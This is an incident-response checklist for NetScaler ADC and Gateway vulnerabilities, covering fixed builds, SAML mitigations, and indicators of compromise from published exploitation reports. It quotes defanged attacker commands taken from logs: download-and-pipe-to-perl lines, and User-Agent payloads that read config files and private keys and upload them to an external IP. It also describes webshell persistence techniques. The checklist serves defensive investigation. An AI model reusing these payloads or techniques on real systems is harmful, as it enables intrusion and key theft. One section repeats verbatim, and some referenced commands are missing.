NetScaler CVE Checklist: Updates, Security Assessment and Incident Response

Critical vulnerabilities in NetScaler ADC and NetScaler Gateway require a structured response: assess exposure, select an applicable fixed build, update the appliance, and then investigate whether there are signs of earlier exploitation.

This checklist brings together vendor information and additional publicly reported investigation guidance. The current Citrix Security Bulletins, including CTX697191, CTX697174, and CTX697096, the relevant firmware variant, and the actual configuration of your appliance remain authoritative.

Important: A match is an investigation lead. It does not automatically prove a successful compromise. Conversely, a scan with no matches is not an all-clear if relevant logs are missing or do not cover the period before patching.

Current vulnerabilities and fixed builds

Citrix published Security Bulletin CTX697096 covering eight vulnerabilities in NetScaler ADC and NetScaler Gateway: CVE-2026-88771 through CVE-2026-88778. Citrix confirms that CVE-2026-88771 and CVE-2026-88772 have been exploited on systems that had not been fixed. Bulletins CTX697174 for CVE-2026-88779 and the new CTX697191 for CVE-2026-107406 bring this overview to ten CVEs across three bulletins. Assess applicability and fixed builds separately.

CVESummaryCitrix precondition
CVE-2026-88771Unauthenticated remote code execution (RCE)All deployments; no additional feature required
CVE-2026-88772Memory overflow that may lead to RCE or denial of service (DoS)DTLS enabled; enabled by default on VPN virtual servers unless explicitly disabled
CVE-2026-88773HTTP request smugglingHTTP configuration enabled
CVE-2026-88774Policy bypass involving HTTP URL-based expressionsAt least one applicable policy expression configured
CVE-2026-88775Memory overflow that may cause unexpected behavior or DoSGateway or AAA virtual server
CVE-2026-88776Memory overflow that may cause unexpected behavior or DoSOracle load-balancing virtual server
CVE-2026-88777Memory overflow that may cause unexpected behavior or DoSLB/CS or CGNAT-LSN/NAT64 with a non-HTTP Layer 7 feature
CVE-2026-88778TCP Initial Sequence Number (ISN) predictionTCP configuration; Citrix additionally requires Enhanced ISN Generation to be enabled
CVE-2026-88779Memory overflow that may cause denial of serviceNetScaler configured as SAML SP or SAML IdP; separate bulletin CTX697174
CVE-2026-107406Memory overflow with potential RCE or DoSSAML SP or IdP; role applicability depends on firmware range; separate bulletin CTX697191

Fixed minimum builds for CVE-2026-88771 through CVE-2026-88778

For these eight CVEs, CTX697096 lists the following minimum builds:

  • NetScaler 14.1: 14.1-73.37 or later
  • NetScaler 13.1: 13.1-64.23 or later
  • NetScaler 14.1 FIPS: 14.1-73.37 FIPS or later
  • NetScaler 13.1 FIPS/NDcPP: 13.1-37.279 or later

Always compare the appliance build and edition with the current bulletin. Configuration preconditions help assess potential exposure before the update. A matching virtual server on a fixed build does not automatically mean the appliance remains vulnerable. Patching, however, does not erase evidence of earlier exposure or prove that no exploitation occurred before the update.

CVE-2026-88771: the attack chain described by CERT-EU

On 28 September 2026, CERT-EU published a technical description of the exploitation of CVE-2026-88771. The report links two traces that should be investigated together:

  1. HTTP requests with Base64-encoded commands in the User-Agent. In the observed requests, the marker INDEX: preceded the encoded content. After decoding, the commands were intended, among other things, to modify the web server configuration and place a webshell.
  2. Crafted authentication or system log entries. These entries contained text such as pitboss … PPE missed too many heartbeats or a related NSPPE message, followed by shell metacharacters or command fragments.

CERT-EU and Unit 42 describe a NetScaler helper script (ns_monuploadd_err.pl, also referred to as ns_monupload_err) that selects matching log messages. The last matching log entry may be the one processed. This helps explain why attackers generated repeated authentication requests: they wanted their crafted entry to be the last matching result when the routine ran.

This goes beyond searching for the word b64decode. The Base64 content may be in an HTTP User-Agent while the trigger appears in an authentication or system log. Correlate the entries by time and with any possible resulting artifacts.

Deyda NetScaler IOC Check searches available HTTP logs for INDEX: payloads and system/authentication logs for both publicly described triggers: PPE missed too many heartbeats and PPE unexpectedly died, when followed by shell syntax. Unit 42 confirms the second form as part of an observed attack chain. The search only recognizes documented text patterns; it cannot cover every variation or determine whether the helper routine actually processed the log entry.

A single match does not prove that the chain ran successfully. The sequence and timestamps of the entries, whether the relevant processing took place, and whether expected changes or files appeared on the appliance all matter. Normal pitboss status messages, such as heartbeat or process messages, are not IOCs by themselves. A matching trigger combined with injected shell metacharacters and commands is more significant.

CVE-2026-88772: DTLS exploitation and post-exploitation

A separate report from Google Threat Intelligence Group and Mandiant describes active exploitation of CVE-2026-88772 through DTLS, as well as tools used after access was gained. This path is distinct from the CVE-2026-88771 log-injection chain described by CERT-EU.

Potential indicators include a DTLSv1.0 handshake error containing Handshake failure-Internal Error, in combination with NSPPE crashes or messages such as orphan rings or NOT restarting NSPPE. A single handshake error or crash is not proof of exploitation. Correlating events by time on the same appliance is a stronger investigative approach.

For persistence, Mandiant describes PHP webshells with .deb or .sig extensions that are executed through modified httpd.conf handlers. One observed alias technique routed requests for /vpn/media/*.ico to .sig files in VPN script directories. WHIPSHOT and SLAPSHOT are also described: WHIPSHOT uses HTTP headers such as HTTP_X_UX as a transport, while SLAPSHOT is a Python tunneller that can forward connections into internal networks. Possible local artifacts include /tmp/.uxdport and /tmp/.uxdlock.

Unit 42 adds specific downloads of .deb files from the VPN client directory, including nsgclient18.deb, nsgser18.deb, nsgsupport.deb, nsgpackage64.deb, nsgbuild.deb, and the analyzed file nsg64.deb. This directory is normally used to provide Citrix client packages, so filenames and location alone are not enough to assess a finding. Unit 42 published SHA-256 ae22ef2517b5c0fb47f78745b9cb5260acee0e751b89bcd354640ff8bc8d29ec for the analyzed nsg64.deb. The report also lists 1bd314b661396c7086f6367fbbb48025e03ca2de69c073d53a8b0a38aa5fbb7d for the Base64 payload and 79c65fa04541032e251fa4796b97800374b63c7982593dd1a2e0db605d429186 for the decoded shell script. These hashes identify the published samples; variants may have different hashes. Treat them as focused search indicators. .deb or .sig files and HTTP 404 responses are not automatically malicious. Compare handlers, alias targets, file contents, origin, and timestamps with a trusted baseline for the same firmware variant. For HTTP logs, also review error logs and unusually large responses or long processing times associated with apparent 404 responses.

Recent log observations and download targets

Log excerpts reviewed on 29 September from multiple NetScaler appliances showed repeated attempts over several hours that were consistent with the described attack chain. These included authentication log entries containing shell metacharacters and command sequences.

The logged payloads included the following defanged download targets:

  • curl hxxp://31[.]56[.]197[.]72/kk
  • wget or curl to hxxp://31[.]56[.]197[.]72/lula, sometimes over port 9090
  • curl hxxp://64[.]94[.]85[.]67:443/update_c08937.pl | perl

Other log entries contained commands intended to write id output to /netscaler/ns_gui/admin_ui/e.txt or write /flash/nsconfig/ns.conf to /var/netscaler/logon/insight-new.js.

Unit 42 dates initial fingerprinting requests to 21 August, package downloads in the DTLS context to 4–24 September, and an observed CVE-2026-88771 chain to 21 September. After disclosure on 27 September, Unit 42 also recorded widespread scanning and testing. Palo Alto Networks reported 50,277 potentially vulnerable exposed instances in its Cortex Xpanse telemetry as of 27 September. This is a time-specific measurement from that provider, not a global count or a finding about the appliances discussed here. These examples are payloads recorded in logs. They do not prove that curl or wget succeeded, that files were downloaded, or that a command actually ran. Hostnames, internal source addresses, and customer-specific details are intentionally omitted. External targets are defanged to avoid active links.

On 5 October, three entries in rotated Gateway access logs contained another suspicious User-Agent. It carried shell commands intended to run id and uname, read saved ns.conf files and private keys from /flash/nsconfig/ssl/ and /nsconfig/ssl/, and write the output to y2ogq1.css. The command then attempted to send that file over HTTP to 81[.]94[.]239[.]8:8877/y2ogq1. The logged requests targeted /logon/LogonPoint/tmindex.html and returned HTTP 200 or 304. This shows that the crafted request was recorded; it does not show that NetScaler executed the User-Agent as a command, created the file, or transferred data. Review the complete access logs, look for y2ogq1.css, and correlate outbound firewall connections to TCP port 8877. Treat the logged request source and the upload destination stated in the User-Agent as separate evidence fields and verify both against the raw records.

SAML sign-in attacks: nsaaad crashes on patched builds

On 2 October, we observed repeated crashes of the authentication daemon nsaaad, followed by automatic reboots, on several NetScalers that had already been updated. In the incidents examined, repeated process exits with status 0x8a were followed by Pitboss reaching its restart limit, declaring a system failure, and eventually rebooting the appliance. Reboot events on two appliances occurred approximately 30 seconds apart.

On one appliance, authentication logs immediately before the investigated crash sequences contained crafted usernames with download-and-execute commands. These commands attempted to download a payload from 213[.]209[.]159[.]55, save it as /v, and run it. The download targets used plain HTTP over TCP port 443 and paths under /t/. A supplementary operator report also names pylrk[.]cc and its subdomains. Treat this domain as an unverified additional lead and compare it with your own DNS, proxy, and firewall data; it is not a Citrix-confirmed IOC.

These findings demonstrate attack attempts and correlated crashes. They do not prove successful command execution, a particular new CVE, or a firmware regression. A patched build must therefore neither be presumed compromised nor be considered protected against these outages solely because of its patch level. The payload address in a logged command is initially a download destination; it does not identify the source of the incoming attack request.

Citrix Support has supplied a responder policy for SAML SP deployments. Its binding to all relevant front-end virtual servers at the AAA_REQUEST bind point is essential. Section “SAML denial of service: implement and test the support workaround” covers implementation and the subsequent sign-in test. Rolling back to a vulnerable firmware build is not an appropriate mitigation.

CVE-2026-88779: SAML SP and SAML IdP require newer builds

Citrix Security Bulletin CTX697174, dated 4 October 2026, describes CVE-2026-88779, a memory overflow that can cause denial of service. Its severity is High, with a CVSS v4 base score of 8.7. The prerequisite is configuration as a SAML Service Provider (SP) or SAML Identity Provider (IdP). Citrix reports targeted attacks against unmitigated deployments. The official bulletin is authoritative for the assessment and fixed builds.

Firmware variantMinimum fixed build for CVE-2026-88779
Standard 14.114.1-73.41
Standard 13.113.1-64.28
14.1 FIPS14.1-73.41 FIPS
13.1 FIPS / NDcPP13.1-37.282

Consequently, 14.1-73.37 and 13.1-64.24 with SAML configuration are below the new minimum, even though they address the earlier CVEs in CTX697096. The thresholds in section 1.1 remain applicable to that earlier bulletin and do not clear CVE-2026-88779.

The bulletin identifies the following configuration objects as prerequisite markers. From the ADC shell, inspect the saved configuration for these command types without printing full SAML object definitions:

add authentication samlAction is the SP marker; add authentication samlIdPProfile is the IdP marker. Saved configuration can differ from the live state. The bulletin also covers Secure Private Access Hybrid deployments using customer-managed NetScaler instances; Citrix updates its own managed cloud services and Adaptive Authentication.

Deyda NetScaler IOC Check adds a separate CVE assessment: [ACTION] for SAML SP/IdP below the relevant fixed build, [OK] when that build is reached or neither object type is present in the scanned file, and [CHECK] for missing information or unreadable configuration. Recognizing a workaround policy does not clear an outstanding firmware finding. Assess any support-confirmed workaround against current instructions until updating; the bulletin recommends installing the update promptly.

Citrix describes a SAML denial-of-service vulnerability. This does not by itself establish the cause of any particular nsaaad crash or prove successful compromise. Continue correlating logs, core dumps, and attack artifacts separately.

New firmware needs appropriate reference data: Hashes must not be carried across builds automatically. The script now has separate references for selected files on standard 14.1-73.37, 14.1-73.41, and 14.1-73.46; their exact scope and limits are described in sections 4.8 and 4.9. Files without an applicable reference still need manual validation. Updating does not remove existing persistence.add authentication samlAction is the SP marker; add authentication samlIdPProfile is the IdP marker. Saved configuration can differ from the live state. The bulletin also covers Secure Private Access Hybrid deployments using customer-managed NetScaler instances; Citrix updates its own managed cloud services and Adaptive Authentication.

Deyda NetScaler IOC Check adds a separate CVE assessment: [ACTION] for SAML SP/IdP below the relevant fixed build, [OK] when that build is reached or neither object type is present in the scanned file, and [CHECK] for missing information or unreadable configuration. Recognizing a workaround policy does not clear an outstanding firmware finding. Assess any support-confirmed workaround against current instructions until updating; the bulletin recommends installing the update promptly.

Citrix describes a SAML denial-of-service vulnerability. This does not by itself establish the cause of any particular nsaaad crash or prove successful compromise. Continue correlating logs, core dumps, and attack artifacts separately.

New firmware needs appropriate reference data: Hashes must not be carried across builds automatically. The script now has separate references for selected files on standard 14.1-73.37, 14.1-73.41, and 14.1-73.46; their exact scope and limits are described in sections 4.8 and 4.9. Files without an applicable reference still need manual validation. Updating does not remove existing persistence.

CVE-2026-107406: memory overflow with role-dependent SAML requirements

Citrix Security Bulletin CTX697191, published 8 October 2026, describes CVE-2026-107406, a memory overflow that may lead to remote code execution (RCE) or denial of service (DoS). Citrix rates it Critical, with a CVSS v4 base score of 9.5. Applicability depends on both SAML role and firmware build. The official bulletin is authoritative.

Fixed minimum builds stated by Citrix:

  • Standard 14.1 and 14.1 FIPS: 14.1-73.46 and 14.1-73.46 FIPS
  • Standard 13.1: 13.1-64.29
  • 13.1 FIPS/NDcPP: 13.1-37.283

Role requirements in the bulletin:

  • Below 14.1-73.37 or 13.1-64.23 (and the corresponding FIPS/NDcPP thresholds), the stated prerequisite is SAML SP or SAML IdP.
  • Between 14.1-73.37 and 14.1-73.41 inclusive, and between 13.1-64.23 and 13.1-64.28 inclusive, Citrix states the prerequisite is SAML IdP. For 14.1 FIPS, the corresponding range is 14.1-73.37 FIPS through 14.1-73.41 FIPS inclusive; for 13.1 FIPS/NDcPP, the bulletin lists 13.1-37.279 through 13.1-37.282 inclusive.
  • If a build is not clearly covered by these explicitly stated ranges, assess it against the current bulletin and with Citrix Support. Do not infer exposure or clearance from the SAML role alone.

The configuration markers are add authentication samlAction for SAML SP and add authentication samlIdPProfile for SAML IdP. These commands show saved configuration objects; compare against the running configuration when assessing applicability. The bulletin also includes Secure Private Access Hybrid deployments using customer-managed NetScaler instances.

The Deyda NetScaler IOC Check now includes a separate CTX697191 assessment. It counts SAML SP actions and IdP profiles in saved configuration and evaluates them against the standard 14.1/13.1 build ranges. It does not assume FIPS/NDcPP thresholds; the report requests manual validation for those editions. An [OK] result when no SAML objects are found means only that the prerequisite was not found in the scanned saved file. It does not replace live-configuration review or retrospective exposure assessment.

Global Deny List as an additional mitigation

Citrix describes the Global Deny List as an additional mitigation for CVE-2026-88779. Signatures can reduce exposure while you validate applicability and prepare the firmware update. The update to a fixed build remains necessary.

The documented mitigation requires:

  • NetScaler Console service, or on-premises NetScaler Console with Cloud Connect.
  • Virtual patching set to Enabled in NetScaler Console.
  • The appliance to have Default Signatures with an Encrypted Version of at least 24.
  • Standard firmware in the applicable range: 14.1-73.37 or later, but earlier than 14.1-73.41; or 13.1-64.23 or later, but earlier than 13.1-64.28.

Citrix says the feature is enabled by default starting with 14.1-60.52 and 13.1-63.21. That default does not prove that the latest signatures arrived or that Console virtual patching is correctly configured. Do not infer FIPS/NDcPP eligibility from the standard version ranges; confirm with Citrix. Fixed builds for all editions are listed in section 1.6.

For CVE-2026-88779, this specific mitigation is no longer required once the appliance runs a fixed build. It is also not indicated when neither SAML SP nor SAML IdP is configured. Other Global Deny List requirements may still apply.

Check the signature version and statistics as described in section 4.20. IP blocklists and firewall rules can add defense in depth, but do not replace signature/configuration validation or the update. Attack infrastructure can change.

Prepare the update

Review the current Security Bulletin and select a supported target build for the appliance edition and role. Document the firmware build, HA status, enabled features, and the period during which the system was reachable. Back up the configuration and relevant system data, and prepare a rollback plan. Apply any published workarounds until the update can be installed, and record the changes.

Update the firmware

Update all affected NetScaler systems to a firmware build released by Citrix that addresses the relevant vulnerabilities. For HA pairs, perform the update in a controlled manner while taking synchronization, failover, and the availability of published services into account. Migrate unsupported releases to a supported release branch.

A firmware update does not prove that the system was untouched before the update. For critical or actively exploited vulnerabilities, a security assessment after patching should therefore be part of the process.

Assess the systems

Systems that have already been updated should also be investigated. The current patch level does not show whether the appliance was untouched before the update. If compromise is suspected, preserve evidence and logs before rebooting, updating, or cleaning up. For VPX, take a snapshot in accordance with your incident response process. Record system time, time zone, and NTP settings.

Public reports describe exploitation activity since early September 2026. Where logs are still available, include that period in the retrospective search. This is a cautious investigation window, not evidence that every appliance was attacked from that date. Take the actual exposure period and patch time of each system into account.

Determine the time of the last firmware update

Use /var/nsinstall/installns_state as a temporal reference: the script automatically reads this file’s modification time. It is not independent proof that a firmware update completed. Compare it with system messages, reboots, installed builds, and maintenance records. To inspect it manually, use ls -ll /var/nsinstall.

For manual file searches, use a start time after the last update. A date is a filter, not proof of when a change occurred. The script does not need a third date argument; on an appliance it uses installns_state as its marker. This marker is not available in exported-configuration mode.

Reboots and Cold Starts

Review reboot and shutdown history. On NetScaler/BSD, run last without the unsupported -x option. An unexpected reboot alone does not prove exploitation; correlate its timestamp with HTTP access, system messages, core dumps, and other events. Missing entries do not reliably rule out a reboot because logs may be missing or rotated.

For the current SAML crash sequence, also search for actual nsaaad process events, the restart limit, and the system failure message. Run the following commands in the ADC shell:

Assess events chronologically and account for the time zone. Merely mentioning nsaaad in a process list or authentication log is not evidence of a crash. Missing /v files or core dumps do not rule out earlier execution, cleanup, or a crash. Preserve available crash files and relevant logs, collect a support bundle, and open a Citrix Support case.

Modified Files

Search for files created or modified after the last firmware update. Account for approved customizations, such as logon pages or themes. The paths /var/vpn/, /var/netscaler/logon/, /var/python/, and /netscaler/ns_gui/ are particularly relevant.

Timestamps under /netscaler/ns_gui/ can also change after reboots. Assess them together with file contents, ownership, permissions, logs, and approved changes.

New files and webshells

Check for unknown PHP, Perl, Python, JavaScript, HTML, shell, and ELF files in /var/vpn/, /var/netscaler/logon/, /var/python/, /netscaler/ns_gui/, /var/nsproflog/, /var/netscaler/gui/, /netscaler/portal/, /tmp/, and /var/tmp/. Do not search only for known names: filenames and paths can be changed.

Additional investigation indicators include .ctxs.receiver (name, content, and hash), receiver.min.css aliases, nx_verify.html, known temporary files, and small files containing command output such as uid=… gid=…. Beazley also described markers containing the text NX-CVE-OK under /netscaler/ns_gui/ and /var/netscaler/. Search for this exact text, but initially rate a match as [CHECK]: correlate it with creation time, content, related logs, and known maintenance or testing. Files under /netscaler/ns_gui/ may be recreated or removed during reboot, so a missing marker does not rule out earlier activity. Inspect unknown .dot files under /var/netscaler/logon/LogonPoint/custom by reviewing their contents, timestamps, ownership, and permissions. Preserve suspicious files before cleanup.

For published persistence techniques, check httpd.conf for unexpected AddHandler or AddType rules that treat .deb, .sig, .rpm, .tgz, or .html files as PHP, and for alias rules for /vpn/media/, /vpn/theme/, or /vpn/images/ that point to script directories. Check VPN script directories such as /var/netscaler/gui/vpn/scripts/linux and /netscaler/ns_gui/vpn/scripts/linux, along with variants under vpns/scripts/vista and vpns/scripts/mac, for unexpected .sig, .deb, and PHP files.

For .ctxs.receiver, Unit 42 also describes execution of a command supplied through the NSC_TASS cookie after checking a CsrfToken cookie. Related indicators include a receiver.min.css alias, a PHP allowance in httpd.conf, and an Apache reload using HUP. Search for these indicators in their file and configuration context; a cookie name, PHP entry, or reload alone does not prove compromise. Token values shown in reports may vary between implants. Individual PHP lines or filenames are not automatically IOCs. Compare configuration, file contents, and metadata with a trusted baseline for the same version and account for documented changes.

HTTP error logs

Review HTTP error and access logs for unexpected resources, unusual POST requests, atypical User-Agents, authentication and VPN requests, and references to .sh, .php, .pl, .sig, and .deb files. Correlate suspicious requests with newly created files, NSPPE crashes, reboots, and the firmware update time.

For CVE-2026-88771, also search for INDEX: payloads in HTTP User-Agents and for suspicious external download targets. Additional reconnaissance patterns include nsepa.deb requests answered with HTTP 206 and exactly one byte, and the marker vp_probe_nonexist. Such matches initially indicate probing or reconnaissance, not compromise. Decode Base64 content for display only; never execute it. Searching for b64decode alone is insufficient because a request can contain encoded content without the word b64decode.

A match may indicate an attack or follow-on activity, but does not by itself prove successful execution. Compare timestamps with authentication, system, shell, and reboot logs. A search with no matches is meaningful only for the logs available and their retention period.

Shell and Bash Logs

Search /var/log/sh.log* and /var/log/bash.log* for unexpected discovery, download, file, and shell commands. Also review authentication and system logs for both PPE text variants reported by CERT-EU (missed too many heartbeats and unexpectedly died). Relevant strings may include database.php, /flash/nsconfig/keys, LDAPTLS_REQCERT, ldapsearch, openssl, /nsconfig/ns.conf, /etc/auth.conf, .F1.key, .F2.key, nobody, id, curl, or wget.

For CVE-2026-88771, authentication or system log entries containing pitboss/PPE triggers together with shell metacharacters and commands are particularly relevant. Normal pitboss heartbeat messages alone are not IOCs. Inspect the complete log line and correlate its timestamp with HTTP requests and possible file or process artifacts.

Additional log files and coverage

Check for logging gaps, unusually early log rotation, and timestamps that do not match the system clock, time zone, NTP configuration, or event timeline. In addition to local logs, include remote syslog and NetScaler Console. Where enabled and retained, also include NetScaler Web Logging, AppFlow, firewall or flow data, and SIEM exports. Not all relevant messages are forwarded to external systems by default. Document the source, period, time zone, and retention period for each data source reviewed; a missing match is meaningful only for data that is actually available and readable.

This command is a broad search, not a complete parser. Adapt the patterns and log paths to the sources that actually exist in your environment. A clean result should still document which logs and time periods were checked.

Integrity of httpd.conf and /bin/sh

Check the httpd.conf file used by the build, often /etc/httpd.conf, for unexpected PHP activation, webshell aliases, and changes compared with a trusted baseline for the same version and edition. Timestamps alone are not sufficient. AddType application/x-httpd-php .php or php_flag engine off may be legitimate; unexpected handlers, alias targets, and configuration differences are what matter.

Also compare the mode, owner, group, timestamp, and SHA-256 hash of /bin/sh. An unexpected SUID/SGID bit is especially critical. For standard NetScaler 14.1-73.37, 14.1-73.41, and 14.1-73.46, the script has build-specific internal /bin/sh reference values. Build-scoped references for /etc/monitrc, /var/configd_devno, and selected LogonPoint files are also present where supported. If the hash and checked metadata match the reference for the detected build, the script may report [OK]. These internal single-appliance references are not Citrix-published checksums or universal baselines for other editions, builds, and variants.

Language files in LogonPoint/custom

Check files such as strings.ko.js, strings.ru.js, and strings.zh-TW.js for unexpected changes. XMLHttpRequest used only as a callback parameter is not an IOC. More significant patterns include creation of request objects or send functions such as new XMLHttpRequest, .open(), .send(), fetch(), sendBeacon, access to document.cookie, or unexpected external destinations. Compare file contents and hashes with unchanged language files on the same appliance or an appropriate baseline.

The script compares twelve strings.*.js files by count, filename, and SHA-256 against build-scoped internal references for standard 14.1-73.37, 14.1-73.41, and 14.1-73.46. It also inventories and hashes 15 files under LogonPoint/custom: script.js, style.css, ajax-loader.gif, and strings.*.json files. [OK] means the count and values match the applicable internal reference; missing, additional, or changed files result in [CHECK]. These are internal reference values from clean individual appliances, not Citrix-published checksums or universal baselines. A difference may also result from legitimate customization.

Modified files with the SUID bit set

Check new or modified SUID/SGID files and compare their owners, permissions, and timestamps with the expected state. Copied shells or an unexpected SUID permission on /bin/sh are highly critical and require forensic assessment. Some internal NetScaler files under /var also have special permission bits. For /var/run/nsprofmgmt.pid, the contents are a dynamic PID; check that it belongs to the running /netscaler/nsprofmgmt process instead of comparing a fixed file hash. /var/nslog/nslog.nextfile contains a numeric logging state that can change. Its metadata and format are more useful than a snapshot hash.

Processes running as nobody

Unusual processes running as nobody can be suspicious, but legitimate NetScaler components also use this account. Compare the process, path, start time, and command line with the expected state; /bin/httpd is not automatically suspicious.

The following screenshot shows a compromised server for comparison. The first line shows the malicious process identified during the investigation.

Check the cron configuration for new entries

Review /etc/crontab, the crontabs for root, nsroot, and nobody, and all regular user files under /var/cron/tabs/. Those files may contain additional user crontabs not covered by the three explicit crontab -l queries. Also inspect persistence scripts such as /flash/nsconfig/rc.netscaler, /nsconfig/rc.netscaler, /nsconfig/nsafter.sh, and /etc/monitrc for unexpected commands that recreate files after reboot, set SUID permissions, or hide or terminate processes. Paths and available tools vary by build; compare actual contents with an appropriate baseline.

Entries such as iprep may be legitimate when IP Reputation is enabled; App Firewall scripts may be expected when App Firewall is in use. /netscaler/adss-licexp.sh may also be present in connection with trial licenses. Assess cron entries against features in use and the same build; these examples are not a universal allowlist.

Additional configuration-dependent examples of legitimate entries include /netscaler/iprep, /netscaler/aslearn_health_monitor.py, and /netscaler/appfw_dynamic_profiles/appfw_dynamic_profiles.py. Confirm whether the associated feature—IP Reputation or App Firewall—is actually being used.

NetScaler HA systems

Investigate unexplained HA synchronization errors and the nsfsyncd process, which is relevant to file synchronization. nsfsyncd is not necessarily expected on a standalone appliance. Check both nodes of an HA pair independently; a clean result on one node does not clear its peer.

Gateway and VPN access logs

Review Gateway and AAA sessions for changes in source IP address, country, or User-Agent within the same session, and for sessions that remain in use despite password changes or MFA remediation. Successful requests without a CitrixReceiver marker and HeadlessChrome User-Agents may be useful leads, but are not suspicious by themselves: browser and clientless access may be legitimate.

NSPPE core dumps

Investigate core dumps and related artifacts from the relevant period. Look for indications that ns.conf, .F1.key, .F2.key, certificates, or private keys were copied into web, theme, template, or temporary directories. Entries such as /var/core/bounds are index files, not core dumps themselves.

Correlate DTLSv1.0 handshake errors containing Handshake failure-Internal Error with NSPPE crashes, orphan rings, and NOT restarting NSPPE. A core dump or individual error does not prove exploitation. Manually generating an NSPPE core dump can trigger a warm restart and disconnect SSH; preserve other evidence first and coordinate with incident response and service owners.

Perl and Python scripts

Review unknown Perl and Python processes by file path, owner, start time, command line, and hash. A Perl process may, for example, run continuously when a StoreFront monitor is used; other NetScaler features can also start expected Python processes.

Unusual processes and crypto miners

Attribute sustained high CPU usage to the responsible process. High NSPPE usage may be expected; unknown additional processes, miners, proxies, or tunnelling processes require closer investigation.

Review network and firewall logs

Extend the local investigation to network and firewall logs. Look for unusual traffic from the NSIP, internal HTTP/HTTPS/SMB scans (80, 443, 445), unusually high LDAP/LDAPS, DNS, or Kerberos activity (389, 636, 53, 88), unexpected RDP or network logons, large outbound transfers, and unusual DNS destinations. For follow-on activity, also review relevant Active Directory events such as 4624 and 4625 and correlate them with web, shell, authentication, and firewall logs.

For the currently observed download attempts, also review connections to 213[.]209[.]159[.]55, particularly TCP port 443, DNS or proxy events involving pylrk[.]cc and its subdomains, and outbound connections to 81[.]94[.]239[.]8:8877. The domain is unverified; validate it using your own telemetry. Search access logs for the observed y2ogq1 pattern:

Validate and, where appropriate, block confirmed malicious destinations at the relevant network boundaries, including outbound connections from the appliance. For the observed payloads, 213[.]209[.]159[.]55 and 81[.]94[.]239[.]8:8877 are investigation leads; verify them against your own logs before creating rules. Account for NSIP and SNIP addresses and published VIPs. An address embedded in a User-Agent may be an intended transfer destination even if no transfer succeeded. Do not add unverified domain leads to production blocklists without validation. IP and domain blocks do not replace firmware updates or any required mitigation; attackers can change infrastructure.

Check the SAML workaround and front-end bindings

First determine whether SAML SP or SAML IdP is configured and which Gateway or Authentication virtual servers receive the relevant sign-in traffic. Then check the current support policy definition and bindings. The script recognizes pol_saml_prefix_v5c and the earlier pol_samlauth_prefixlist_block; name recognition and selected expression markers do not certify that the revision is current or its complete expression is correct. Its existence alone is not sufficient: it must be effectively bound to every relevant front-end virtual server with -type AAA_REQUEST. A global REQ_OVERRIDE binding does not replace this bind point for the sign-in requests discussed here.

The script checks saved configuration. If SAML is configured on a build not yet fixed for CVE-2026-88779 but the policy or suitable bindings are missing, this is a prioritized action item. For CVE-2026-88779, the interim policy is not required on a fixed build or when there is no SAML SP/IdP configuration. If neither SAML configuration nor the policy exists, this particular check does not indicate a need for action. Existing bindings are initially configuration evidence; also verify the live state, complete policy expression, priorities, and all affected sign-in paths. Unsaved changes can otherwise cause different assessment results.

Check Global Deny List signatures and AAA_REQUEST statistics

Run these commands in the NetScaler CLI, not directly in the FreeBSD shell:

Under Name: *Default Signatures, confirm that Encrypted Version is shown as a number and is at least 24. A high version on a different signature object does not satisfy this check. If the version is missing, below 24, or cannot be read, signature coverage remains unverified. Check the Console connection, Virtual patching setting, and signature delivery.

The statistics show whether rules were evaluated and whether matches occurred. Distinguish requests evaluated, matches, and blocked requests, and review Last Hit Time. Non-zero counters show activity; they do not prove full coverage of every relevant attack variation or sign-in path. Zero counters alone are neither an error nor proof that mitigation is disabled. They can also be zero when no matching traffic occurred, after a restart, or after a counter reset.

The Deyda NetScaler IOC Check adds this to the existing CVE/mitigation group. On the appliance it attempts both read-only CLI queries without interactive input; each call has a 15-second timeout. Local CLI execution was not validated on an appliance during script development. If access is unavailable or the output cannot be interpreted safely, the script reports [CHECK] and gives the commands to run manually.

Alternatively, the script can read supplied text output through DEYDA_GDL_SIGNATURES_FILE and DEYDA_GDL_STATS_FILE. It identifies these as operator-provided data, not live verification. A recognized version of 24 or later returns [OK] for the signature version only, not a blanket clearance of the mitigation. The CTX697174 firmware assessment remains independent.

Interpret the results

The assessment script uses three status labels:

  • [OK]: No matching pattern was found in the specific source that was searched. This does not mean the appliance is completely clean or that all historical logs are available.
  • [ACTION]: A concrete or targeted indicator was found. Preserve evidence, correlate timestamps, and investigate the appliance further.
  • [CHECK]: Manual validation is required or coverage is incomplete, for example because logs are missing, a path is absent, or a baseline is needed.

The CVE configuration search assesses prerequisites for potential exposure before the update. If the supplied firmware build meets the fixed threshold, a matching virtual server does not automatically make the updated appliance vulnerable again. Earlier exposure and possible compromise still need to be investigated.

Examples of scan limitations

  • No INDEX: line found: this applies only to available HTTP logs and their retention period.
  • No .dot file found: this applies only to the checked path, if it existed and was readable.
  • No core dump found: this does not rule out other indicators of compromise.
  • httpd.conf was modified recently: this may be due to an update or an approved change; compare the baseline and maintenance time.
  • /bin/sh hash or metadata differs: this is initially a review lead and must be assessed against the build, edition, and a trusted comparison system.
  • The count, names, or hashes of the twelve strings.*.js files differ: this results in [CHECK]; planned customizations or platform-variant differences may explain it.

The internal reference values are scoped by file and build: selected files have reference values for standard 14.1-73.37, 14.1-73.41, and 14.1-73.46. They come from clean individual appliances, are not Citrix-published checksums, and are not universal baselines for other builds, editions, or customizations. Compare only files for which the script provides a reference for the detected build.

Example of a recent NetScaler assessment

In an anonymized assessment from 1 October 2026, build 14.1-73.37 was detected from the running kernel path. Enhanced ISN Generation was enabled in the saved ns.conf; verify the live state with show ns tcpparam for a complete assessment.

No INDEX: Base64 payloads, PPE triggers followed by shell syntax, nsepa.deb HTTP 206 one-byte probes, or vp_probe_nonexist markers were found in the available logs reviewed. The targeted checks also found no selected webshell signatures, NX-CVE-OK markers, or known payload files in the paths searched. The regular VPN client packages present matched the internal hash references from this single appliance. These are positive results for the files and periods actually searched—not clearance for logs that no longer exist or were not covered.

The assessment still included [CHECK] messages. An NSPPE crash in a compressed log was dated 15 June 2023; saved configuration commands were also from 2023. These events are well before the September 2026 campaign period investigated here and, without newer correlating evidence, are historical log matches rather than proof of current exploitation. Shell log entries from 1 October included invocations of the assessment script itself. Such matches also need to be evaluated using their timestamp and command line.

Other review leads included recurring Apache graceful restarts on 29 and 30 September and recently modified web files. Compare the regularly timed reloads with scheduled maintenance or monitoring tasks; a reload alone does not prove a webshell. One process snapshot showed nsppe at 100 percent in the CPU column while the displayed load averages were around 1. A single process snapshot is not enough to establish sustained overload or compromise.

